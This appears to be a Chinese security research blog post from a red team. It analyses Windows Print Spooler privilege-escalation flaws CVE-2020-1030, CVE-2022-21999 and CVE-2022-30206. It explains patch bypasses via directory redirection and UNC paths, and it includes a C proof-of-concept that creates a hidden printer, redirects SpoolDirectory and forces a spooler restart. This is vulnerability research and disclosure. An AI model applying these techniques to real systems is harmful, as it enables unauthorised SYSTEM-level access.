从CVE-2020–1030到CVE-2022-30206 Windows Print Spooler漏洞分析与挖掘
2022-9-14 18:1:3 Author: M01N Team(查看原文) 阅读量:140 收藏

前言

Windows Print Spooler是Windows的打印后台处理服务,该服务也因为一直频繁出现漏洞而被人熟知。在今年结束的“Pwnie Awards”的颁奖中,Print Spooler中的漏洞CVE-2022-21999(也被称为SpoolFool)获得了最佳提权漏洞提名,该漏洞被认为是早年出现的漏洞CVE-2020–1030的补丁绕过,这两个漏洞都与Print Spooler的配置属性“SpoolDirectory”有关。本文将对这两个漏洞进行介绍并分享笔者在分析漏洞后发现的另一个漏洞CVE-2022-30206。

01 CVE-2020–1030

在打印机中存在一个名叫“SpoolDirectory”的属性,该属性在注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\<printer name>

中定义,如果未对该属性进行指定将默认为DefaultSpoolDirectory,默认位置是C:\Windows\system32\spool\PRINTERS。用户可以通过调用SetPrinterDataEx函数来设置SpoolDirectory,该函数需要以PRINTER_ACCESS_ADMINISTER权限打开打印机,如果机器上不存在能访问该权限的打印机,可以调用AddPrinter创建一个新的打印机来获得具有此权限的打印机。在设置完SpoolDirectory后系统不会立即对该打印机配置进行更改,而是会在下一次启动服务后初始化阶段对其进行更改。在初始化阶段存在一条函数调用链:

  • localspl!InitializePrintProvidor

  • localspl!SplCreateSpooler

  • localspl!BuildPrinterInfo

localspl!BuildPrinterInfo会检查设置的SpoolDirectory目录是否存在,问题出现在当该目录不存在时,会创建该目录并赋予everybody访问权限:

而在SetPrinterDataEx设置SpoolDirectory时并没有对该路径进行有效校验,这便出现了一个用户可控的越权操作问题。利用此漏洞需要应用Print Spooler的另外一个机制"Point and Print"。当调用SetPrinterDataEx 设置pKeyName以"CopyFiles\"开头时,会调用SplCopyFileEvent函数:

该函数内部会读取其Module值,并调用SplLoadLibraryTheCopyFileModule:

在SplLoadLibraryTheCopyFileModule中首先会对Module值进行校验,当Module键值位于C:\Windows\System32\目录下或打印机驱动目录C:\Windows\System32\spool\drivers\x64目录下,将会调用LoadLibraryW或LoadLibraryExW加载Module值对应的文件。

故通过漏洞可以获得C:\Windows\System32\spool\drivers\x64\下目录的普通用户可写权限,将任意DLL写入该目录下,再次调用SetPrinterDataEx设置CopyFiles中Module值为该DLL路径,服务进程会以System权限加载该DLL,实现权限提升。

如何让打印机服务重启呢?通过对以往的漏洞分析学习[1],可以通过以上办法加载"C:\Windows\System32\AppVTerminator.dll",该文件符合路径要求,加载后会调用TerminateProcess终止spoolsv.exe进程,这将触发服务控制管理器(SCM)的恢复机制启动新的spoolsv.exe进程。

02 CVE-2022-21999

CVE-2020–1030的补丁在SetPrinterDataEx设置SpoolDirectory过程中对该值进行校验,首先在修改注册表项之前验证提供的目录值是否合法:

IsValidSpoolDirectory函数主要进行以下检测:

  • 调用AdjustFileName将路径转换为规范路径。

  • 调用CreateFileW校验该目录是否有当前用户可写权限。

  • 调用IsPortAlink检查目录是否为一个链接。

问题在于这个校验只存在于SetPrinterDataEx设置SpoolDirectory的阶段。绕过办法是在调用SetPrinterDataEx时将SpoolDirectory设置为一个合法路径,设置之后再将该路径重定向到系统文件路径,这样在打印机服务重新初始化阶段,localspl!BuildPrinterInfo处理的便是重定向之后的路径。

另外一个补丁是在打印机初始化时,localspl!BuildPrinterInfo函数创建可写目录前会调用IsModuleFilePathAllowed校验该路径是否是以打印机驱动目录"C:\Windows\System32\spool\drivers\x64\"开始:

绕过办法是使用UNC路径,例如设置SpoolDirectory为"\localhost\C$\dir\printers",设置之后将C:\dir\重定向到C:\Windows\System32\spool\drivers\x64\,故原路径将被格式化为"\\?\UNC\localhost\C$\Windows\System32\spool\drivers\x64\printers",在比较时是从第五个字符开始,这样可以通过目录校验,用户最终得到路径可写权限,后面的利用与CVE-2020-1030一样。

在2月的微软补丁中,在初始化打印机时调用的BuildPrinterInfo函数中,如果SpoolDirectory目录不存在,将不会为用户创建该目录并重新分配权限。

03 CVE-2022-30206

CVE-2022-30206是在分析以上两个漏洞时发现的,但漏洞原因与其不同。首先根据漏洞分析了解到打印机存在一个SpoolDirectory值用来描述一个工作目录,而用户可以通过添加一个新的打印机后对该属性进行配置。通过代码逆向并结合Process Monitor分析可知spoolsv.exe进程会以System权限在SpoolDirectory目录下进行文件操作,其创建、写入并删除了以.SHD和.SPL为后缀名的文件。结合之前的漏洞分析可以知道将SpoolDirectory设置为一个用户可写的目录是合法的。笔者编写了以下代码进行了测试,具体功能为创建一个新的打印机,将其SpoolDirectory设置在"C:\Users\Public\tmp\1"目录,加载AppVTerminator.dll重启打印机服务使得新的配置生效:

#include <windows.h>
#include <stdio.h>
LPWSTR g_DriverName = L"Generic / Text Only";
LPWSTR g_PrinterName = L"PWN";
int main()
{
    PRINTER_INFO_2 printerInfo;
    HANDLE hPrinter;
    DWORD dwStatus;
    // AddPrinter
    memset(&printerInfo, 0, sizeof(printerInfo));
    printerInfo.pPrinterName = g_PrinterName;
    printerInfo.pDriverName = L"Microsoft Print To PDF";
    printerInfo.pPortName = L"PORTPROMPT:";
    printerInfo.pPrintProcessor = L"winprint";
    printerInfo.pDatatype = L"RAW";
    printerInfo.Attributes = PRINTER_ATTRIBUTE_HIDDEN;
    CreateDirectory(L"C:\\Users\\Public\\tmp", NULL);
    hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
    LPWSTR pszDriverPath = L"C:\\Users\\Public\\tmp\\1";

    DWORD cbData;
    if (hPrinter == NULL)
    {
        printf("Failed: AddPrinter(), %ls. Error: %d\n", g_PrinterName, GetLastError());
        ClosePrinter(hPrinter);
        return -1;
    }
    //Set SpoolDirectory
    cbData = ((DWORD)wcslen(pszDriverPath) + 1) * sizeof(WCHAR);
    dwStatus = SetPrinterDataEx(hPrinter, L"\\", L"SpoolDirectory", REG_SZ, (LPBYTE)pszDriverPath, cbData);

    if (dwStatus != ERROR_SUCCESS)
    {
        printf("Failed: SetPrinterDataEx(), SpoolDirectory. Error: %d\n", GetLastError());
        ClosePrinter(hPrinter);
        return -1;
    }
    CreateDirectory(pszDriverPath, NULL);

    //Load AppVTerminator.dll
    cbData = ((DWORD)wcslen(L"AppVTerminator.dll") + 1) * sizeof(WCHAR);
    dwStatus = SetPrinterDataEx(hPrinter, L"CopyFiles\\Payload", L"Module", REG_SZ, (LPBYTE)L"AppVTerminator.dll", cbData);

    if (dwStatus != RPC_S_CALL_FAILED)
    {
        printf("Failed: SetPrinterDataEx(), %ls. Error: %d\n", L"AppVTerminator.dll", GetLastError());
        ClosePrinter(hPrinter);
        return -1;
    }
    ClosePrinter(hPrinter);

    return 0;
}

接下来随便测试一些打印机功能,例如:StartDocPrinter、StartPagePrinter、WritePrinter等,再通过Process Monitor观察这会触发spoolsv.exe在预设目录下的文件操作:

并且多次运行后可以看到进行操作的文件名是可以被预测到的,即文件名称的数字会每次+2,例如00003.SPL、00005.SPL、00007.SPL,以此类推。故如果将SpoolDirectory设置到普通目录下,并将其.SHD、.SPL文件合理地链接到高权限文件,spoolsv.exe便有可能”帮助“普通用户对目标文件进行高权限操作。到这里已经有了明确的思路,即寻找哪些功能可以”帮助“普通用户进行越权操作,大体上需要满足以下几个条件:

  • 确保操作是以System权限进行,而不是模拟客户端权限。

  • 文件操作前没有有效的文件重定向、链接数检测,或可以通过其他办法绕过。

  • 操作完成后对目标文件起到了实质上的变化,例如创建、修改、删除等操作。

在通过分析与调试后,笔者发现了两个可以被利用的函数调用,分别位于DeleteJob()和InternalCreateSafeFile(),有兴趣的读者可以自行复现。

04 总结

本文介绍了三个与SpoolDirectory配置相关的Windows Print Spooler漏洞,问题分别出现在与SpoolDirectory相关的设置、配置生效、打印工作等各个阶段中,希望文章能给大家带来一些参考。

参考

[1]https://www.accenture.com/us-en/blogs/cyber-defense/discovering-exploiting-shutting-down-dangerous-windows-print-spooler-vulnerability

[2]https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81?gi=ff25ef8f3067

绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。

研究目标包括:漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术,以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究,以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑。

M01N Team公众号

聚焦高级攻防对抗热点技术

绿盟科技蓝军技术研究战队

官方攻防交流群

网络安全一手资讯

攻防技术答疑解惑

扫码加好友即可拉群


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247489630&idx=1&sn=9bf8e5f236175338d5d3b8f731dfd6bd&chksm=c187d84ff6f05159fd70dfa25417637371e4cd49f5d1cbe0d012cb31a0004667ee02b8b25751#rd
如有侵权请联系:admin#unsafe.sh